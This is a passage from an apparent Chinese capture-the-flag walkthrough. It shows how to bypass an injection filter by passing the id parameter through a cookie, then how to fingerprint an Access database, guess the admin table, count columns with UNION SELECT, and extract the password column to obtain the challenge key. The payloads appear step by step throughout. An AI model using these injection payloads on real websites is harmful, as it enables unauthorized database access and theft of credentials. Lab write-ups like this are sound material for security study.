防注入。首先尝试大小写变换等，结果都无效。


步骤3：条条大路通罗马嘛，于是考虑一下其他的传参方式呢，COOKIES传参通常是漏洞发生的地方，谷歌浏览器有一款插件修改cookie非常方便
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步骤4：首先删除url中的id=1，把cookie的id值附为1，刷新之后有内容，证明可以注入
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步骤5：首先判断一下数据库类型：

id:1 and exists(select * from sysobjects)

结果返回空结果，所以这里应该是access数据库
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步骤6：那么就猜解表名。id:1 and exists(select * from admin)

能返回正常页面，说明存在admin这个表，知道表名后即可继续猜解列数。
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步骤7：联合查询有几个字段

id:-1 union select 1 from admin

id:-1 union select 1,2 from admin

猜解到2列时返回正常页面如下：
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步骤8：在网站程序安全脆弱的情况下，admin表中通常有username和password两列，故这里可以做大胆猜测这里存在password列，构造cookies如下：

id:-1 union select 1,password from admin

更改后刷新页面，即可得到本题的KEY1。
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